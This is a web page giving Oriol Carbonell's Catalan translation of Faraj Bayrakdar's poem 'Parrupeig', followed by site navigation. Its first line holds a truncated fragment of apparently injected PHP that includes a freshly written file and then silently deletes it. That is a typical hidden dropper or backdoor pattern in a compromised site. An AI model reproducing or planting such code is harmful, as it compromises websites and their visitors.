");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Parrupeig
Facebook Twitter

Parrupeig

Traducció d'Oriol Carbonell

El teu parrupeig em cansa a la tarda.
Així doncs, fatiga’m.
Com el vi del poema vibra
dins teu, noia,
que fa plorar les aus sota les seves ales
i emmudeix el seu cant.
El teu parrupeig és un gronxador
i el límit del seu
moviment és estret de marge.
És que potser l’arbre del cor que ens aferra
A [al sentit de]la nostra existència vasta
si el nostre impuls disminueix
i som derrotats pel vent?
És que potser aquests arbres són la nostra sang
o són un miratge?
Una pregunta em demana,
meteorit rere meteorit
una rosa rere una altra,
que s’adormin sobre el meu braç.
A l’alba s’escampa el blau
per tal que es tenyeixi la rosada,
per tal que jo la vegi.
Aquesta pregunta-gazela
serà el que ens empresonarà
a la finestra de la resposta,
per que el cel no es farà més estret.
Deixaré anar un estol de coloms immadurs
i obriré les torres del meu esperit al seu demà.
Si em superen amb el seu parrupeig,
m’enfonsaré
i si em desperten,
deixaré oberta la finestra del somni
i dormiré.

Faraj Bayrakdar,
Fragments
Parrupeig
Oriol Carbonell
Visita
Oriol Carbonell
Bibliografia
Cercador d’autors
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Amb el suport de: